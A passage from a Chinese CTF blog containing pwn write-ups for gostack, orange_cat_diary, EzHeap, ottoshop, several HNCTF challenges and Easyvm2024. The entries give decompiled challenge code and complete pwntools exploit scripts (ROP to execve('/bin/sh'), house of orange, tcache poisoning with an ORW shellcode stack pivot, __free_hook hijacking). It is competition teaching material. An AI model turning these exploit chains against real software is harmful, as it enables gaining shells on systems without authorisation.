快来和我贴贴qaq
post @ 2024-05-22

gostack

栈溢出,存在一个可以执行的命令的backdoor函数,用了下有些问题,就打ret2syscall了,栈上有一个strings结构体要伪造一下,syscall read到一个可以写的段,写binsh然后syscall execve getshell

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.133.9"
PORT = 17425

elf = context.binary = ELF('./gostack')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rax = 0x000000000040f984
rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
rsi = 0x000000000042138a
rdx = 0x00000000004944ec
syscall = 0x0000000000404043
bss = 0x564000

payload = b'a' * 0x100 
payload += p64(bss + 0x50) 
payload += p64(0x50) 
payload += b'a' * 0x20 
payload += p64(bss) 
payload += p64(0x100) 
payload += b'a' * 0x90
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rax) 
payload += p64(0) 
payload += p64(rsi) 
payload += p64(bss) 
payload += p64(rdx) 
payload += p64(8) 
payload += p64(syscall)
payload += p64(rax) 
payload += p64(0x3b) 
payload += p64(rsi) 
payload += p64(0) 
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(bss) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rdx) 
payload += p64(0) 
payload += p64(syscall)

sla('message',payload)
# g(p)


time.sleep(0.3)
s(b'/bin/sh\x00')




p.interactive()

orange_cat_diary

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_B26(a1, a2, a3);
  puts("Hello, I'm delighted to meet you. Please tell me your name.");
  memset(s, 0, 0x20uLL);
  read(0, s, 0x1FuLL);
  printf("Sweet %s, please record your daily stories.\n", s);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 2 )
        break;
      show();
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        delete();
      }
      else if ( choice == 4 )
      {
        edit();
      }
    }
    else if ( choice == 1 )
    {
      add();
    }
  }
}

int menu()
{
  puts("\n##orange_cat_diary##\n");
  puts("1.Add diary");
  puts("2.Show diary");
  puts("3.Delete diary");
  puts("4.Edit diary");
  puts("5.Exit");
  return printf("Please input your choice:");
}

__int64 sub_DE9()
{
  if ( dword_202014 > 0 )
  {
    fwrite(ptr, 1uLL, dword_202058, stdout);
    --dword_202014;
  }
  puts("Diary view successful.");
  return 0LL;
}

__int64 sub_D83()
{
  if ( dword_202010 > 0 )
  {
    free(ptr);
    --dword_202010;
  }
  puts("Diary deletion successful.");
  return 0LL;
}

__int64 sub_CD9()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( dword_202058 + 8 < (unsigned int)choice )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  puts("Please enter the diary content:");
  read(0, ptr, choice);
  puts("Diary modification successful.");
  return 0LL;
}

__int64 sub_BF5()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( (unsigned int)choice > 0x1000 )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  ptr = malloc(choice);
  if ( !ptr )
  {
    puts("Memory allocation failed.");
    exit(1);
  }
  dword_202058 = choice;
  puts("Please enter the diary content:");
  read(0, ptr, dword_202058);
  puts("Diary addition successful.");
  return 0LL;
}

利用堆溢出打house of orange拿到unsortedbin得到libc基地址,之后用那一次uaf的机会任意地址分配,错位字节绕过size检查 打malloc_hook为 one gadget就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.128.251"
PORT = 43423

elf = context.binary = ELF('./orange_cat_diary')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
p.sendafter = lambda x, y: p.sendafter(x, y)
p.sendlineafter = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    p.sendlineafter("Please input your choice","1")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)

def show():
    p.sendlineafter("Please input your choice","2")

def delete():
    p.sendlineafter("Please input your choice","3")

def edit(size,content):
    p.sendlineafter("Please input your choice","4")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)


ru("Hello, I'm delighted to meet you. Please tell me your name.")
payload = b'\x00' * 0x1f
s(payload)


add(0x38,b"AAAA\n")
edit(0x40,b"A" * 0x38 + p64(0xfc1))

add(0x1000,b'A') # hosue of orange
add(0x408,b'A')

show()


r(6)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d0365c5141 - 0x73d036200000)
success(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL


add(0x68,b"BBBB\n")
delete()

edit(0x68,p64(malloc_hook - 0x23))
add(0x68,b"BBBB\n")
one_gadget = libc_base + 0xf03a4
add(0x68,b"a" * 0x13 + p64(one_gadget))



p.sendlineafter("Please input your choice","1")
# g(p)
p.sendlineafter("Please input the length of the diary content:",str(0x8))



p.interactive()

EzHeap

题目的逻辑是这样的

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-34h] BYREF
  __int64 v4[6]; // [rsp+10h] [rbp-30h]

  v4[5] = __readfsqword(0x28u);
  init();
  seccomp_init_0();
  v4[0] = (__int64)malloc_heap;
  v4[1] = (__int64)free_heap;
  v4[2] = (__int64)edit_heap;
  v4[3] = (__int64)show_heap;
  v4[4] = (__int64)exit_programe;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 <= 0 || v3 > 5 )
      puts("Invalid choice");
    else
      ((void (*)(void))v4[v3 - 1])();
  }
}

unsigned __int64 malloc_heap()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 79 && *((_QWORD *)&chunk_list + i); ++i )
    ;
  if ( i <= 79 )
  {
    printf("size:");
    __isoc99_scanf("%d", &size);
    if ( size >= 0x501 )
    {
      puts("error");
      exit(0);
    }
    *((_QWORD *)&chunk_list + i) = malloc((int)size);
    memset(*((void **)&chunk_list + i), 0, (int)size);
    size_list[i] = (int)size;
    printf("content:");
    read(0, *((void **)&chunk_list + i), (int)size);
  }
  else
  {
    puts("full heap! ");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 free_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(0);
  }
  free(*((void **)&chunk_list + (int)v1));
  *((_QWORD *)&chunk_list + (int)v1) = 0LL;
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 edit_heap()
{
  unsigned int idx; // [rsp+0h] [rbp-10h] BYREF
  unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &idx);
  if ( idx > 0x4F || !*((_QWORD *)&chunk_list + (int)idx) )
  {
    puts("error!");
    exit(0);
  }
  printf("size:");
  __isoc99_scanf("%d", &size);
  if ( size >= 0x501 )
  {
    puts("error");
    exit(0);
  }
  printf("content:");
  read(0, *((void **)&chunk_list + (int)idx), (int)size);
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 show_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(1);
  }
  printf("content:");
  printf("%s", *((const char **)&chunk_list + (int)v1));
  return v2 - __readfsqword(0x28u);
}

void __noreturn exit_programe()
{
  exit(0);
}

有一个只允许orw的沙箱,glibc 2.35,存在堆溢出,首先是构造堆叠泄露libc基地址 tache key 和堆基地址,然后利用溢出打两次任意地址分配的tcache poison,第一次泄露出environ得到栈地址,然后找到栈帧的rbp和返回地址的位置,栈迁移到堆上rop,之后mprotect变成shellcode版本的orw

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./EzHeap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    sla("choice","1")
    sla("size:",str(size))
    sa("content:",content)

def delete(idx):
    sla("choice","2")
    sla("idx:",str(idx))

def edit(idx,size,content):
    sla("choice","3")
    sla("idx:",str(idx))
    sla("size:",str(size))
    sa("content:",content)

def show(idx):
    sla("choice","4")
    sla("idx:",str(idx))


for i in range(6):
    add(0x88,"AAAAAAAA")

# 6 - 12 tcache
# 13 heap overlap
# 14 chunk
# 15 unsorted bin
    


for i in range(11):
    add(0x88,"BBBBBBBB")    

edit(12,0x90,b'A' * 0x88 + p64(0x101))

for i in range(6,13):
    delete(i)

delete(15)
delete(13)

add(0xf8,"BBBBBBBB")
edit(6,0x120,b'B' * 0x120)
show(6)


ru(b"B" * 0x120)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7dcae2a1ace0 - 0x7dcae2800000)
success(hex(libc_base))
edit(6,0x120,b'B' * 0x118 + p64(0x91))

environ = libc_base + libc.sym['__environ']
mprotect = libc_base + libc.sym['mprotect']

for i in range(7):
    add(0x88,"AAAA")

add(0x88,"BBBB")

delete(16)
edit(6,0x1b0,b'B' * 0x1b0)

show(6)
ru(b'B' * 0x1b0)
leak = u64(p.recv(5).ljust(8)) << 12
heap_base = (leak & 0xffffffffffffff) - (0x57c9c5039000 - 0x57c9c5037000)
success(hex(heap_base))


edit(6,0x1b8,b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
show(6)
ru(b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
key = u64(r(8))
success(hex(key))

edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(heap_base >> 12))


add(0x88,"BBBB") # 16
add(0x88,"CCCC") # 17


delete(17)
delete(16)

pos = heap_base + 0x2940
target = (environ - 0x80) ^ (pos >>12)
edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(target))



add(0x88,"DDDD")
add(0x80,"D" * 0x80) # 17
show(17)
ru(b"D" * 0x80)

leak_stack = u64(r(6).ljust(8,b'\x00'))
success(hex(leak_stack))

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
mprotect = libc_base + libc.sym['mprotect']
leave_ret = libc_base + 0x000000000004da83


rrr = heap_base + 0x2aa8 + 0x8


payload = p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x21000 + 0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect)
payload += p64(rrr)
payload += b'./flag\x00\x00'

payload += asm(f'''
mov rdi,{rrr - 0x8}            
mov rsi,0
mov rax,2
syscall

mov rdi,3
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,0
syscall

mov rdi,1
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,1
syscall


''')


payload_addr = heap_base + (0x6219f663ba60 - 0x6219f6639000)
add(0x200,payload)


edit(6,0x100,b'a' * 0x88 + p64(0x91) + b'\x00' * 0x10)

delete(16)
delete(14)


rbp = leak_stack - (0x7ffedc8a1868 - 0x7ffedc8a16f0)
pos = heap_base + (0x56576dc75820 - 0x56576dc73000)
target = rbp ^ (pos >> 12)
edit(6,0x100,b'a' * 0x88 + p64(0x91) + p64(target))



success(hex(leak_stack))
add(0x88,p64(0x114514) * 2)
# g(p)
add(0x88,p64(payload_addr - 0x8) + p64(leave_ret))





p.interactive()
Read More
post @ 2024-05-15

题目附件https://github.com/nyyyddddn/ctf/tree/main/hnctf_pwn

close

关闭了标准输出流,直接cat /flag 1>&0就可以了

ez_pwn

%s 泄露buf的地址后覆盖rbp栈迁移后打rop就好了,由于32位的调用约定,不能以连续的ret结尾的gadget去rop,然后system不能直接传binsh过去,得传;sh,所以read一次后重启main再调用system就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 29342

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("Welcome to H&NCTF, my friend. What's your name?")

payload = "A" * 0x2c
s(payload)
ru(payload)

leak = u32(r(4))
buf_addr = leak - (0xfff93748 - 0xfff93710)
success(f"buf_addr ->{hex(buf_addr)}")

read = elf.plt['read']
vuln = 0x08048639
bss = 0x804a000
system = 0x0804857D

payload = p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)
s(payload)


time.sleep(0.3)
# g(p)
s(b'sh;\0')

ru("Welcome to H&NCTF, my friend. What's your name?")
payload = "A" * 0x4
s(payload)
ru(payload)

buf_addr = buf_addr
success(hex(buf_addr))


buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c)


payload = p32(system) + p32(bss) + p32(bss)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)

# g(p)
s(payload)

p.interactive()

idea

格式化字符串泄露canary后和ez_pwn一样的流程,不过libc小版本的差异远程打不通,可以用libc searcher解决这个问题

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 46515

elf = context.binary = ELF('./idea')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("How many bytes do you want me to read? ","-1")

payload = b'%7$p'
# gdb_comm = '''
# b *0x080486E4
# c
# '''
# gdb.attach(p,gdb_comm)
sla("Ok, sounds good. I'll give u a gift!",payload)

rl()
canary = int(r(10),16)
success(hex(canary))

ru("bytes of data!")

puts = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x0804870D

payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(puts) + p32(vuln) + p32(puts_got)
# g(p)
sl(payload)

ru("a" * 0x20)
rl()
# libc_base = u32(r(4)) - libc.sym['puts']
# success(f"libc_base ->{hex(libc_base)}")
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))
# read = libc_base + libc.sym['read']

bss = 0x804a000

puts_addr = u32(r(4))
success(hex(puts_addr))
success(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
success(hex(libc_base))
success(hex(libc_base))
system = libc_base + libc.dump("system")
read = libc_base + libc.dump("read")

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4) 

sl(payload)

time.sleep(0.5)
s(b'sh;\0')

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(system) + p32(bss) + p32(bss)
# g(p)
sl(payload)




p.interactive()

what

存在uaf,glibc 2.27 打 通过unsortedbin 泄露libc基地址后,打free hook为system然后去free一个binsh内容的堆块就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 40950

elf = context.binary = ELF('./what')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def add(size):
    sla("Enter your command:","1")
    sla("size:",str(size))

def delete():
    sla("Enter your command:","2")

def show(idx):
    sla("Enter your command:","3")
    sla("please enter idx:",str(idx))

def edit(idx,content):
    sla("Enter your command:","4")
    sla("please enter idx:",str(idx))
    sa("Please enter your content:",content)

p = connect()


for i in range(9):
    add(0x80)
for i in range(8):
    delete()
show(1)

ru("Content:")
leak = u64(r(6).ljust(8,b'\x00'))
success(hex(leak))
libc_base = leak - (0x72b6087ebca0 - 0x72b608400000) 
success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(3,p64(free_hook))
add(0x80)
add(0x80)
add(0x80)

edit(3,p64(system))

edit(2,b'/bin/sh\x00\x00')

delete()
# g(p)


p.interactive()

Appetizers_🥕[working]

已经知道的信息是,能往libc基地址往后偏移任意位置 用异或的方式写两个字节的数据,写不到seccomp的段,还没有找到劫持控制流的方法,可能和main arena之类的宏观结构有关系?

Read More
post @ 2024-05-14

pwn

ottoshop

ida显示有些奇怪,修了一下,程序的逻辑是这样的,程序里还有一个backdoor,通过buy中的下界溢出去写binsh字符串,然后golden中的 scanf去写返回地址为backdoor就好了,scanf 如果输入数据的类型和formatstrings不匹配就不会写入数据,通过这种方式去绕过canary

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // [rsp+Ch] [rbp-44h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v3 = time(0LL);
  srand(v3);
  puts("Welcome to miniL pwn checkin!");
  puts("Here,a ♿ shop,have some magic ♿ for u ~");
  puts("u have 50 ottobucks to buy No.1-No.255 ♿!");
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        menu();
        scanf();
        if ( v4 != 666 )
          break;
        puts("u find it!");
        ottoottootto();
      }
    }
    while ( v4 > 666 );
    if ( v4 == 4 )
    {
      check();
    }
    else if ( v4 <= 4 )
    {
      switch ( v4 )
      {
        case 3:
          Golden();
          break;
        case 1:
          buy();
          break;
        case 2:
          change();
          break;
      }
    }
  }
}

unsigned __int64 buy()
{
  int a; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  a = 0;
  if ( money > 0 )
  {
    puts("which ♿ ?");
    scanf("%d", (int)&a);
    wheelchair[a] = 666;
    if ( a > 255 )
    {
      puts("? fxxk u!");
      exit(1);
    }
    puts("Give your ♿ a name!");
    read(0, (char *)&name + 4 * a, 4uLL);
    --money;
  }
  else
  {
    puts("NONONO..");
  }
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 Golden()
{
  int a; // [rsp+8h] [rbp-18h] BYREF
  int i; // [rsp+Ch] [rbp-14h]
  char v3[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  a = 0;
  if ( gold != 1 )
  {
    puts("NONONONO..");
    exit(1);
  }
  puts("Here are only 5 golden ♿..");
  puts("How many golden ♿ u want to buy?");
  scanf("%d", (int)&a);
  if ( a > 5 )
  {
    puts("U R Greedy!");
    exit(1);
  }
  for ( i = 0; i < a; ++i )
  {
    if ( money <= 14 )
    {
      puts("nononono..");
      return v4 - __readfsqword(0x28u);
    }
    puts(aUCanGiveYourGo);
    scanf("%ld", (int)&v3[8 * i]);
    money -= 15;
  }
  return v4 - __readfsqword(0x28u);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999

elf = context.binary = ELF('./ottoshop')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def buy(idx,content):
    sla('5.exit\n',b'1')
    sl(str(idx))
    sa("name!",content)

p = connect()


backdoor = 0x402128

# set menory = 0x10000
buy(-90,p32(0x10000))

# set flag1 = /bin/sh
buy(-92,p32(0x6e69622f))
buy(-91,p32(0x0068732f))

# set gold = 1
sla(b'5.exit\n',"666")
sa(b'find it!\n',b'\n')


sla(b'5.exit\n',"3")

sla(b'want to buy?\n',"4")
for i in range(3):
    sla(b'passwd!',b'-')

sla(b'passwd!',str(backdoor).encode())




p.interactive()

game

啊这,这个game太抽象了一点都不好玩,不复现了

Easyvm2024

第一次做vmpwn相关的题目,去了解了一下vmpwn相对ctf re方向的虚拟机逆向来说,除了要识别 虚拟机中的 寄存器 堆栈,有哪些Instruct handler外,还需要去分析Instruct handler有什么漏洞,构造一些输入去触发这些漏洞,程序的逻辑大概是这样的

先mmap出来两个内存段,然后read opcode to memory,之后init_sandbox,start_vm这个函数开始处理opcode。

void __fastcall main(__int64 a1, char a2)
{
  int v2; // edx
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  int v9; // eax
  unsigned int v10; // [rsp+14h] [rbp-7Ch]
  int v11; // [rsp+18h] [rbp-78h]
  int v12; // [rsp+1Ch] [rbp-74h]
  Virtual_machine v13; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v14; // [rsp+88h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  setvbuf(off_4E4958, 0LL, 2LL, 0LL);
  setvbuf(off_4E4950, 0LL, 2LL, 0LL);
  setvbuf(off_4E4948, 0LL, 2LL, 0LL);
  if ( !(unsigned int)init_memory(&v13) && !(unsigned int)read_data_to_memory((__int64)&v13, 0x1000uLL, v2, v3, v4, v5) )
  {
    puts("VM code received:\n-------------------------------------------");
    v10 = 0;
    v11 = 1;
    v12 = 1;
    while ( v10 <= 0xFFF )
    {
      if ( v12 )
      {
        v9 = v11++;
        printf((unsigned int)"%03u: ", v9, v11, v6, v7, v8);
        v12 = 0;
      }
      if ( *(_BYTE *)(v13.input_data_addr + v10) == 10 )
        v12 = 1;
      if ( !*(_BYTE *)(v13.input_data_addr + v10) )
        break;
      putchar(*(unsigned __int8 *)(v13.input_data_addr + v10++));
    }
    puts("\n-------------------------------------------");
    if ( (unsigned int)init_sandbox() )
      perror("sandbox failed");
    else
      start_vm(&v13);
  }
}

__int64 __fastcall init_memory(_QWORD *a1)
{
  __int64 v2; // [rsp+18h] [rbp-18h]
  __int64 v3; // [rsp+20h] [rbp-10h]

  v2 = mmap64(0LL, 4096LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
  v3 = mmap64(539230208LL, 12288LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
  j_memset_ifunc(a1, 0LL, 104LL);
  a1[11] = v2;
  a1[12] = v3;
  if ( a1[11] && a1[12] )
  {
    j_memset_ifunc(a1[11], 0LL, 4096LL);
    j_memset_ifunc(a1[12], 0LL, 12288LL);
    a1[6] = -1LL;
    return 0LL;
  }
  else
  {
    perror("mmap failed");
    return 0xFFFFFFFFLL;
  }
}

__int64 __fastcall read_data_to_memory(__int64 a1, unsigned __int64 a2, int a3, int a4, int a5, int a6)
{
  unsigned __int64 i; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  printf((unsigned int)"Please input your code (max: %d), end with EOF:\n", 4096, a3, a4, a5, a6);
  if ( !*(_QWORD *)(a1 + 88) )
    return 0xFFFFFFFFLL;
  for ( i = 0LL; ; i += v8 )
  {
    if ( i >= a2 )
    {
      puts("Damn, too large!");
      return 0xFFFFFFFFLL;
    }
    v8 = read(0LL, i + *(_QWORD *)(a1 + 88), a2 - i);
    if ( !v8 )
      break;
  }
  if ( i )
  {
    *(_BYTE *)(*(_QWORD *)(a1 + 88) + i) = 0;
    return 0LL;
  }
  else
  {
    puts("Hold on, no code!");
    return 0xFFFFFFFFLL;
  }
}

__int64 init_sandbox()
{
  int v1; // r8d
  int v2; // r9d
  int v3; // r8d
  int v4; // r9d
  int v5; // r8d
  int v6; // r9d
  int v7; // r8d
  int v8; // r9d
  int v9; // r8d
  int v10; // r9d
  int v11; // r8d
  int v12; // r9d
  int v13; // r8d
  int v14; // r9d
  int v15; // r8d
  int v16; // r9d
  int v17; // r8d
  int v18; // r9d
  int v19; // r8d
  int v20; // r9d
  int v21; // r8d
  int v22; // r9d
  int v23; // r8d
  int v24; // r9d
  int v25; // r8d
  int v26; // r9d
  int v27; // r8d
  int v28; // r9d
  int v29; // r8d
  int v30; // r9d
  int v31; // r8d
  int v32; // r9d
  int v33; // r8d
  int v34; // r9d
  char v35; // [rsp+0h] [rbp-30h]
  char v36; // [rsp+0h] [rbp-30h]
  char v37; // [rsp+0h] [rbp-30h]
  char v38; // [rsp+0h] [rbp-30h]
  char v39; // [rsp+0h] [rbp-30h]
  char v40; // [rsp+0h] [rbp-30h]
  char v41; // [rsp+0h] [rbp-30h]
  char v42; // [rsp+0h] [rbp-30h]
  char v43; // [rsp+0h] [rbp-30h]
  char v44; // [rsp+0h] [rbp-30h]
  char v45; // [rsp+0h] [rbp-30h]
  char v46; // [rsp+0h] [rbp-30h]
  char v47; // [rsp+0h] [rbp-30h]
  char v48; // [rsp+0h] [rbp-30h]
  char v49; // [rsp+0h] [rbp-30h]
  char v50; // [rsp+0h] [rbp-30h]
  char v51; // [rsp+0h] [rbp-30h]
  int v52; // [rsp+4h] [rbp-2Ch]
  __int64 v53; // [rsp+8h] [rbp-28h]
  int v54; // [rsp+8h] [rbp-28h]
